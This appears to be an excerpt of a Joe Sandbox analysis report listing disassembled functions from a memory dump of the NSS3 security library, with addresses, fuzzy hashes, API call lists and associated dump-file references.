Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 31a40986917297333c8e1043a1342255998de02fb47474e2e2d76af467772b1d
Instruction ID: 4d4dca0a7f66ce563b99642b52b59ed9a3e522fc88660b6552c364066bd92c80
Opcode Fuzzy Hash: 31a40986917297333c8e1043a1342255998de02fb47474e2e2d76af467772b1d
Instruction Fuzzy Hash: 9B317C719097059FE7119F69E48436EBBF1FF88314F02592ED9898B300EB70E885CB91

Function 6D01FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CFF5ADC,?,00000000,00000001,?,?,00000000,?,6CFEBA55,?,?), ref: 6D01FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D01FE5F
PR_Unlock.NSS3(78831D74), ref: 6D01FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6D01FED6

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3e1a28c613d44d6499ca912a33cf55247e7b32d11d5013a823c518616ea5af0f
Instruction ID: 47098cc9a41784d120f0085a75c87473bbeeaf6ff46652b80213af01547640db
Opcode Fuzzy Hash: 3e1a28c613d44d6499ca912a33cf55247e7b32d11d5013a823c518616ea5af0f
Instruction Fuzzy Hash: 2E210132A04616ABEB119FB4EC447AA7BF8BF05358F490124DD08AB642E771E964CBD1

Function 6D014FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6D01B60F,00000000), ref: 6D015003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6D01B60F,00000000), ref: 6D01501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6D01B60F,00000000), ref: 6D01504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6D01B60F,00000000), ref: 6D015064

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a4106a27fd54874381af731ce41047c2f9e6abde35229748937f7f7cf9b38dc6
Instruction ID: b204014de97dc07434332e25c2b461bbeec7ef4d41a6bc862c92b7f49572bb9b
Opcode Fuzzy Hash: a4106a27fd54874381af731ce41047c2f9e6abde35229748937f7f7cf9b38dc6
Instruction Fuzzy Hash: 833129B4A08606DFDB01DFA8D88466ABBF4FF48304F018569D958DB304E771E890CBD1

Function 6CFD1EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CFD4C64,?,-00000004), ref: 6CFD1EE2

Part of subcall function 6D031820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CFD1D97,?,?), ref: 6D031836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD4C64,?,-00000004), ref: 6CFD1F13
DER_DecodeTimeChoice_Util.NSS3(?,6CFD4CA0,?,?,?,?,?,?,00000000,00000000,?,6CFD4C64,?,-00000004), ref: 6CFD1F37
DER_DecodeTimeChoice_Util.NSS3(?,6CFD4C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD4C64,?,-00000004), ref: 6CFD1F53

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 5aaa2dfb7f5bbf83a85bf3b6241b2fb6092439d273d73a6d375596d4f830eb00
Instruction ID: 18667b51da10153a6cbfe63d2f9b25fa0d66095652d00f7056f6b1f8482adf0f
Opcode Fuzzy Hash: 5aaa2dfb7f5bbf83a85bf3b6241b2fb6092439d273d73a6d375596d4f830eb00
Instruction Fuzzy Hash: 5D219272508316AFD700CF69DD00B9BB7E9EB886A9F064929E944C3640F330F659CB93

Function 6D039F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6D03A71A,FFFFFFFF,?,?), ref: 6D039FAB

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6D03A71A,6D03A71A,00000000), ref: 6D039FD9

Part of subcall function 6D031340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03136A
Part of subcall function 6D031340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03137E
Part of subcall function 6D031340: PL_ArenaGrow.NSS3(?,6CFCF599,?,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?), ref: 6D0313CF
Part of subcall function 6D031340: PR_Unlock.NSS3(?,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6D03A71A,6D03A71A,00000000), ref: 6D03A009
PR_SetError.NSS3(FFFFE013,00000000,6D03A71A,6D03A71A,00000000), ref: 6D03A045

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: e258c101100ae466c6458fcb19ee029ab3545d6202ae5e1cddf5d87260d89245
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 1821A4B4600217ABFB049F15DC50F3AB7A9FF85358F12C228D9298B381EB75E814CB91

Function 6D042DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D042E08

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_NewArena_Util.NSS3(00000400), ref: 6D042E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6D042E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D042E95

Part of subcall function 6D031200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CFD88A4,00000000,00000000), ref: 6D031228
Part of subcall function 6D031200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6D031238
Part of subcall function 6D031200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CFD88A4,00000000,00000000), ref: 6D03124B
Part of subcall function 6D031200: PR_CallOnce.NSS3(6D132AA4,6D0312D0,00000000,00000000,00000000,?,6CFD88A4,00000000,00000000), ref: 6D03125D
Part of subcall function 6D031200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6D03126F
Part of subcall function 6D031200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6D031280
Part of subcall function 6D031200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6D03128E
Part of subcall function 6D031200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6D03129A
Part of subcall function 6D031200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6D0312A1

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: c1c2423c0f1cb58d039ac6f218e5d413c4b7091d3361050a2892577ac4e07927
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: E321F9B1E143568BF710CF659D40F7B37A46F9530CF128279DE089B242F7B2E5948292

Function 6CFFACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFFACC2

Part of subcall function 6CFD2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CFD2F0A
Part of subcall function 6CFD2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFD2F1D

Part of subcall function 6CFD2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CFD0A1B,00000000), ref: 6CFD2AF0
Part of subcall function 6CFD2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFD2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CFFAD5E

Part of subcall function 6D0157D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CFDB41E,00000000,00000000,?,00000000,?,6CFDB41E,00000000,00000000,00000001,?), ref: 6D0157E0
Part of subcall function 6D0157D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6D015843

CERT_DestroyCertList.NSS3(?), ref: 6CFFAD36

Part of subcall function 6CFD2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CFD2F65
Part of subcall function 6CFD2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFD2F83

free.MOZGLUE(?), ref: 6CFFAD4F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 579de2e96d0a9890d970b1033c0966dcc4c221f39939a4ef5a84b6f488d0b4d1
Instruction ID: ab64759008966ac3daff2fc934657f5611a9c016a4cff2e9922b303e0b3b9eb0
Opcode Fuzzy Hash: 579de2e96d0a9890d970b1033c0966dcc4c221f39939a4ef5a84b6f488d0b4d1
Instruction Fuzzy Hash: 5E21D8B1D002149BEB10DFA4D8056EE77F4EF05218F064068D814BB710F732AE56CBE1

Function 6D023C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D023C9E
EnterCriticalSection.KERNEL32(?), ref: 6D023CAE
PR_Unlock.NSS3(?), ref: 6D023CEA
PR_SetError.NSS3(00000000,00000000), ref: 6D023D02

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b5fd4408d69dc616717e04612daa19a2ddbde51e0bc1850812d78f8d9f90dea7
Instruction ID: 2fce6e2a351fa7c11e97ee1bb5cfe97c1cb88f81dcfab7ea5ad6879fd1792fea
Opcode Fuzzy Hash: b5fd4408d69dc616717e04612daa19a2ddbde51e0bc1850812d78f8d9f90dea7
Instruction Fuzzy Hash: C911D379A01204AFEB009F24EC48B9A37B9EF49364F558065ED089B312E771ED91CBE1

Function 6D02ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6D02F0AD,6D02F150,?,6D02F150,?,?,?), ref: 6D02ECBA

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6D02ECD1

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6D02ED02

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6D02ED5A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 490f7e81b07a2f6d1bd7b44b01e0455b10ed5c25492765ab177361e04f761dd7
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: BA21A1B1E457429BF700CF25D944B26B7E4BFA8348F16C219E81CCB661EB70E590C691

Function 6D024900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6D00C79F,?,?,6D025C4A,?), ref: 6D024950

Part of subcall function 6D028800: TlsGetValue.KERNEL32(?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028821
Part of subcall function 6D028800: TlsGetValue.KERNEL32(?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D02883D
Part of subcall function 6D028800: EnterCriticalSection.KERNEL32(?,?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028856
Part of subcall function 6D028800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6D028887
Part of subcall function 6D028800: PR_Unlock.NSS3(?,?,?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028899

TlsGetValue.KERNEL32(?,?,?), ref: 6D02496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D02497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D024989

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: bba9d96daedb237a82175fdc774ea38b92a8eb2b8ccb119cd774706ef684c8de
Instruction ID: ec8cfa457083102d44bed8509faa2369022bd2c9dbf7dbde22583598f9b476e5
Opcode Fuzzy Hash: bba9d96daedb237a82175fdc774ea38b92a8eb2b8ccb119cd774706ef684c8de
Instruction Fuzzy Hash: 3A113D79A05201BBFB215F34FC41B2A77F8FF5A368F454034EE4997212E7A1E8108B91

Function 6D05EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6D047FFA,?,6D049767,?,8B7874C0,0000A48E), ref: 6D05EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6D047FFA,?,6D049767,?,8B7874C0,0000A48E), ref: 6D05EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6D047FFA,?,6D049767,?,8B7874C0,0000A48E), ref: 6D05EE14

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

memcpy.VCRUNTIME140(?,?,6D049767,00000000,00000000,6D047FFA,?,6D049767,?,8B7874C0,0000A48E), ref: 6D05EE33

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 4364c0db2071661d52ebba8530dc9fbb21d6df96cca8501efe658ff73fd84d45
Instruction ID: 953797d71af09c0df658d373ca6e00a2c988849aa4423cfe3cb1cb77dc0e8ce6
Opcode Fuzzy Hash: 4364c0db2071661d52ebba8530dc9fbb21d6df96cca8501efe658ff73fd84d45
Instruction Fuzzy Hash: CF119AB5A14717ABFB109E65DE84B16B3A8AB04358F118431EE59C7240E331E870CBA2

Function 6CFDDFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CFF06A0: TlsGetValue.KERNEL32 ref: 6CFF06C2
Part of subcall function 6CFF06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFF06D6
Part of subcall function 6CFF06A0: PR_Unlock.NSS3 ref: 6CFF06EB

CERT_NewCertList.NSS3 ref: 6CFDDFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CFDDFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CFDDFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFDE029

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 6eb4c7bbca37463c49da233c3c976512df63e2d88760c566e743e2f8ad24e79a
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 32112B72A04206ABEB111EA95C48BAFB6B8EB8035CF0F0534E918C7710E772F815D7E1

Function 6CFF8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFF8DE7
EnterCriticalSection.KERNEL32 ref: 6CFF8DFC
PR_Unlock.NSS3 ref: 6CFF8E2D
PR_SetError.NSS3 ref: 6CFF8E49

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 469cb3898562724f87868385877d5214d01ea8e09ac7ddecad4ba6f3a11ca406
Instruction ID: aa4d1dcda6054ce9e86686ad918cdf3ec32dd968e5ce60e38d158417812ea379
Opcode Fuzzy Hash: 469cb3898562724f87868385877d5214d01ea8e09ac7ddecad4ba6f3a11ca406
Instruction Fuzzy Hash: EB11C675509A009FD700AF78D48829ABBF4FF46714F014969DD98DB700E770E8A5CBD2

Function 6D07AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6D065F17,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D07AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6D065F17,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D07ACA6
